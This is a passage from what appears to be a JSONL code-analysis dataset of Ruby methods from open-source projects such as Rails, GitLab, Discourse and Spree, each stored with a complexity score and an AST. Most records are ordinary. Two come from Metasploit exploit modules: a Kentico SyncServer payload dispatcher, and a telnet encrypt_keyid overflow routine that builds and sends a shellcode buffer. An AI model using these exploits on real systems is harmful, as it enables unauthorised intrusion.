end\nend","complexity_score":33.8,"ast_json":"{\"type\":\"def\",\"children\":[\"become_non_member\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"let\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"memberships\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"project_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"id\"]}]}]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]}]}]}]}","id":"44f63ef8-82cb-4180-be06-4d48ccafe871"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/requests/api/issues/merge_requests_count_shared_examples.rb","start_line":3,"raw_source":"def get_issue\n  json_response.is_a?(Array) ? json_response.detect { |issue| issue['id'] == target_issue.id } : json_response\nend","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_issue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_response\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_response\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_issue\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"json_response\"]}]}]}","id":"4059b61d-9b65-42be-864f-51e8652e2a2a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/import_export/translation_overrides_exporter.rb","start_line":9,"raw_source":"def perform\n      puts \"Exporting all translation overrides...\", \"\"\n      export_translation_overrides\n\n      self\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Exporting all translation overrides...\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"export_translation_overrides\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"72727085-001a-4074-ab8e-8a754bdb1611"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/payments/create.rb","start_line":16,"raw_source":"def prepare_payment_attributes(order:, params:)\n        payment_method = order.collect_frontend_payment_methods.find { |pm| pm.id.to_s == params[:payment_method_id]&.to_s }\n\n        payment_attributes = {\n          amount: params[:amount] || order.order_total_after_store_credit,\n          payment_method: payment_method\n        }\n\n        return failure(nil, :payment_method_not_found) if payment_method.blank?\n\n        success(order: order, params: params, payment_attributes: payment_attributes)\n      end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_payment_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"order\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payment_method\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"collect_frontend_payment_methods\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pm\"]},\"id\"]},\"to_s\"]},\"==\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payment_method_id\"]}]},\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payment_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"amount\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"order_total_after_store_credit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payment_method\"]},{\"type\":\"lvar\",\"children\":[\"payment_method\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payment_method\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"payment_method_not_found\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payment_attributes\"]},{\"type\":\"lvar\",\"children\":[\"payment_attributes\"]}]}]}]}]}]}","id":"04bb34e1-1bc2-44b0-b1f5-36092a52a86c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_chars_test.rb","start_line":47,"raw_source":"@chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing!; \"result\"; end }","complexity_score":8.6,"ast_json":"{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"wrapped_string\"]},\"singleton_class\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"__method_for_multibyte_testing!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"result\"]}]}]}","id":"ceeded8e-17f2-4ad2-a3bd-4bd2a90d0016"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":312,"raw_source":"def test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested\n    @controller.stub :form_authenticity_token, @token do\n      assert_not_blocked do\n        get :form_for_remote_with_token\n      end\n      assert_select \"form>input[name=?][value=?]\", \"custom_authenticity_token\", @token\n    end\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"form_authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"form_for_remote_with_token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_select\",{\"type\":\"str\",\"children\":[\"form>input[name=?][value=?]\"]},{\"type\":\"str\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]}]}]}]}","id":"407a1ac5-7400-4e13-a656-d67e6da270cf"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":590,"raw_source":"def test_marshal_dump_and_load\n    marshal_str = Marshal.dump(@twz)\n    mtime = Marshal.load(marshal_str)\n    assert_equal Time.utc(2000, 1, 1, 0), mtime.utc\n    assert_predicate mtime.utc, :utc?\n    assert_equal ActiveSupport::TimeZone[\"Eastern Time (US & Canada)\"], mtime.time_zone\n    assert_equal Time.utc(1999, 12, 31, 19), mtime.time\n    assert_predicate mtime.time, :utc?\n    assert_equal @twz.inspect, mtime.inspect\n  end","complexity_score":24.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_marshal_dump_and_load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"marshal_str\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"ivar\",\"children\":[\"@twz\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mtime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"marshal_str\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mtime\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mtime\"]},\"utc\"]},{\"type\":\"sym\",\"children\":[\"utc?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Eastern Time (US & Canada)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mtime\"]},\"time_zone\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mtime\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mtime\"]},\"time\"]},{\"type\":\"sym\",\"children\":[\"utc?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@twz\"]},\"inspect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mtime\"]},\"inspect\"]}]}]}]}","id":"837fb276-dedf-4421-ba60-dbee37cf5cef"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_action.rb","start_line":591,"raw_source":"def action_vm_retire(action, rec, inputs)\n    unless rec.kind_of?(VmOrTemplate)\n      MiqPolicy.logger.error(\"MIQ(action_vm_retire): Unable to perform action [#{action.description}], object [#{rec.inspect}] is not a VM\")\n      return\n    end\n\n    target = inputs[:synchronous] ? VmOrTemplate : rec.class\n    invoke_or_queue(\n      inputs[:synchronous], __method__, \"ems_operations\", rec.my_zone, target, 'retire',\n      [[rec], {:date => 1.day.ago}],\n      \"VM Retire for VM [#{rec.name}]\")\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"action_vm_retire\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"rec\"]},{\"type\":\"arg\",\"children\":[\"inputs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqPolicy\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MIQ(action_vm_retire): Unable to perform action [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"description\"]}]},{\"type\":\"str\",\"children\":[\"], object [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"] is not a VM\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"synchronous\"]}]},{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"class\"]}]}]},{\"type\":\"send\",\"children\":[null,\"invoke_or_queue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"synchronous\"]}]},{\"type\":\"send\",\"children\":[null,\"__method__\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"my_zone\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"retire\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"ago\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"VM Retire for VM [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]}","id":"e6acd44a-c9c2-4b44-a336-60326aef5382"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/kentico_staging_syncserver.rb","start_line":88,"raw_source":"def exploit\n    case target['Type']\n    when :windows_command\n      execute_command(payload.encoded)\n    when :windows_dropper\n      cmd_target = targets.select { |target| target['Type'] == :windows_command }.first\n      execute_cmdstager({ linemax: cmd_target.opts['Space'] })\n    when :windows_powershell\n      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))\n    end\n  end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"windows_command\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"windows_dropper\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_target\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"windows_command\"]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_target\"]},\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Space\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"windows_powershell\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[null,\"cmd_psh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"arch\"]},\"first\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_comspec\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},null]}]}","id":"9ecddbee-c890-421b-ba1f-9189fa8f8857"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/helpers/rspec.rb","start_line":25,"raw_source":"def describe_unsuccessfully(*args, &describe_body)\n          describe_run(*args, passed: false, &describe_body)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"describe_unsuccessfully\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"describe_body\"]}]},{\"type\":\"send\",\"children\":[null,\"describe_run\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"passed\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"describe_body\"]}]}]}]}","id":"20b3d8ae-78c5-411a-9ef4-3d19e8afe3b1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb","start_line":56,"raw_source":"def exploit_target(t)\n    connect\n    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)\n    vprint_status(banner_sanitized)\n\n    enc_init = \"\\xff\\xfa\\x26\\x00\\x01\\x01\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\xff\\xf0\"\n    enc_keyid = \"\\xff\\xfa\\x26\\x07\"\n    end_suboption = \"\\xff\\xf0\"\n\n    penc = payload.encoded.gsub(\"\\xff\", \"\\xff\\xff\")\n\n    key_id = Rex::Text.rand_text_alphanumeric(400)\n\n    key_id[0, 2] = \"\\xeb\\x76\"\n    key_id[72, 4] = [ t['Ret'] - 20 ].pack(\"V\")\n    key_id[76, 4] = [ t['Ret'] ].pack(\"V\")\n\n    # Some of these bytes can get mangled, jump over them\n    key_id[80, 40] = \"\\x41\" * 40\n\n    # Insert the real payload\n    key_id[120, penc.length] = penc\n\n    # Create the Key ID command\n    sploit = enc_keyid + key_id + end_suboption\n\n    # Initiate encryption\n    sock.put(enc_init)\n\n    # Wait for a successful response\n    loop do\n      data = sock.get_once(-1, 5) rescue nil\n      if not data\n        fail_with(Failure::Unknown, \"This system does not support encryption\")\n      end\n      break if data.index(\"\\xff\\xfa\\x26\\x02\\x01\")\n    end\n\n    # The first request smashes the pointer\n    print_status(\"Sending first payload\")\n    sock.put(sploit)\n\n    # Make sure the server replied to the first request\n    data = sock.get_once(-1, 5)\n    unless data\n      print_status(\"Server did not respond to first payload\")\n      return\n    end\n\n    # Some delay between each request seems necessary in some cases\n    ::IO.select(nil, nil, nil, 0.5)\n\n    # The second request results in the pointer being called\n    print_status(\"Sending second payload...\")\n    sock.put(sploit)\n    handler\n\n    ::IO.select(nil, nil, nil, 0.5)\n    disconnect\n  end","complexity_score":67.73,"ast_json":"null","id":"282fa46d-2970-407c-88b4-9b6079a64256"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/importer.rb","start_line":94,"raw_source":"def uploads_restorer\n        Gitlab::ImportExport::UploadsRestorer.new(project: project, shared: shared)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"uploads_restorer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"UploadsRestorer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared\"]},{\"type\":\"send\",\"children\":[null,\"shared\"]}]}]}]}]}","id":"66f0ce64-ae9d-44b3-8649-0e4d26cfe047"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":248,"raw_source":"def test_assert_enqueued_parameterized_emails\n    assert_nothing_raised do\n      assert_enqueued_emails 1 do\n        silence_stream($stdout) do\n          TestHelperMailer.with(a: 1).test.deliver_later\n        end\n      end\n    end\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_parameterized_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_emails\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_stream\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"test\"]},\"deliver_later\"]}]}]}]}]}","id":"34ff382c-3c0e-4b54-b00c-37acc641604c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/build_trains.rb","start_line":15,"raw_source":"def self.all(app_id: nil, platform: nil, retry_count: 3)\n      filter_platform = Spaceship::ConnectAPI::Platform.map(platform) if platform\n      connect_builds = Spaceship::ConnectAPI::Build.all(\n        app_id: app_id,\n        sort: \"uploadedDate\",\n        platform: filter_platform\n      )\n\n      trains = {}\n      connect_builds.each do |connect_build|\n        train_version = connect_build.app_version\n        trains[train_version] ||= []\n        trains[train_version] << connect_build.to_testflight_build\n      end\n\n      self.new(trains)\n    end","complexity_score":15.85,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"retry_count\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},{\"type\":\"lvasgn\",\"children\":[\"filter_platform\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Platform\"]},\"map\",{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"connect_builds\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Build\"]},\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_id\"]},{\"type\":\"lvar\",\"children\":[\"app_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"str\",\"children\":[\"uploadedDate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"filter_platform\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"trains\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connect_builds\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connect_build\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"train_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connect_build\"]},\"app_version\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trains\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"train_version\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trains\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"train_version\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connect_build\"]},\"to_testflight_build\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"lvar\",\"children\":[\"trains\"]}]}]}]}","id":"f13e4a6e-b8a1-48e3-a8d1-56504639686f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/internal_events_matchers.rb","start_line":395,"raw_source":"def check_negated_chain_methods_for_node!\n    return unless instance_variable_defined?(:@on_load) || instance_variable_defined?(:@on_click) || @properties.any?\n\n    raise ArgumentError, \"Chain methods :on_click, :on_load, :with are unavailable for negated #{name} matcher with \" \\\n      \"for Capybara::Node::Simple type arguments\"\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_negated_chain_methods_for_node!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@on_load\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@on_click\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@properties\"]},\"any?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Chain methods :on_click, :on_load, :with are unavailable for negated \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" matcher with \"]}]},{\"type\":\"str\",\"children\":[\"for Capybara::Node::Simple type 